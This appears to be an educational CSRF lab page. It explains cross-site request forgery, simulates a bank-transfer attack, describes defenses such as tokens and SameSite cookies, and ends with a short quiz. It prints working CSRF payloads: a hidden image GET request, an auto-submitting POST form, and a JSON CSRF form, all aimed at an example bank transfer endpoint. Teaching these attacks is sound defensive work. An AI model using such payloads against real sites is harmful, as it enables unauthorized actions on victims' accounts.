CSRF Attack Lab

Cross-Site Request Forgery

Back to Vault

Educational Purpose Only

This lab demonstrates CSRF attacks for educational purposes. Only test these techniques on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and unethical. Understanding these attacks helps build better defenses.

Understanding CSRF

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to perform unintended actions on a web application. Unlike XSS (which exploits trust in a website), CSRF exploits the trust that a website has in a user's browser.

How CSRF Works

1 Victim logs into target site - User authenticates and receives a session cookie

2 Attacker crafts malicious page - Creates HTML/JS that makes a request to target site

3 Victim visits attacker's page - Could be via phishing, malicious ad, or XSS

4 Browser sends forged request - Includes victim's session cookie automatically

5 Server executes action - Believes request is legitimate because session is valid

Why It Works

Interactive Attack Simulation

This simulation demonstrates how a CSRF attack works. The "victim" is logged into their bank, and the attacker attempts to transfer money without their knowledge.

Victim's Browser - SecureBank
Welcome, Alice
Account Balance
$10,000.00

Session: Active | Cookie: session=abc123xyz

Attacker's Malicious Page

Craft a hidden form that submits to the bank:

[00:00:00] Lab initialized. Victim is logged in with valid session.

Defense Mechanisms

Enable defenses to see how they prevent CSRF attacks:

CSRF Tokens (Synchronizer Token Pattern) Include a unique, unpredictable token in each form that the server validates
OFF
SameSite Cookie Attribute Set SameSite=Strict or Lax to prevent cookies from being sent with cross-site requests
OFF
Referer Header Validation Check that requests originate from the same domain
OFF
Double Submit Cookie Send token in both cookie and request body - attacker can't read cookie value
OFF

CSRF Token Example

<!-- Server generates unique token per session/request -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token"
         value="a8f3k2n5x9m1p7q4">
  <input name="to" placeholder="Account">
  <input name="amount" placeholder="Amount">
  <button type="submit">Transfer</button>
</form>

// Server-side validation
if (request.csrf_token !== session.csrf_token) {
    return error(403, "CSRF token mismatch");
}

CSRF Attack Variations

GET-Based CSRF

The simplest form - if state-changing actions use GET requests:

<!-- Image tag (invisible) -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">

<!-- Or disguised as a link -->
<a href="https://bank.com/transfer?to=attacker&amount=1000">
  Click here for free prize!
</a>

POST-Based CSRF

Auto-submitting form when victim loads the page:

<body onload="document.getElementById('csrf').submit()">
  <form id="csrf" method="POST" action="https://bank.com/transfer">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="1000">
  </form>
</body>

JSON CSRF

Attacking APIs that accept JSON (if CORS is misconfigured):

<form id="csrf" method="POST" action="https://api.bank.com/transfer"
      enctype="text/plain">
  <input name='{"to":"attacker","amount":1000,"ignore":"' value='"}' type="hidden">
</form>
<script>document.getElementById('csrf').submit();</script>

Knowledge Check

1. What distinguishes CSRF from XSS?

A) CSRF exploits the trust a site has in the user's browser; XSS exploits user trust in a site
B) CSRF requires JavaScript; XSS does not
C) CSRF works on GET requests only; XSS works on POST
D) There is no difference

2. Why doesn't Same-Origin Policy prevent CSRF?

A) Same-Origin Policy doesn't apply to cookies
B) Same-Origin Policy prevents reading responses, not sending requests
C) Same-Origin Policy only applies to JavaScript
D) Same-Origin Policy is disabled by default

3. What is the most effective defense against CSRF?

A) Input validation
B) HTTPS
C) Anti-CSRF tokens
D) Rate limiting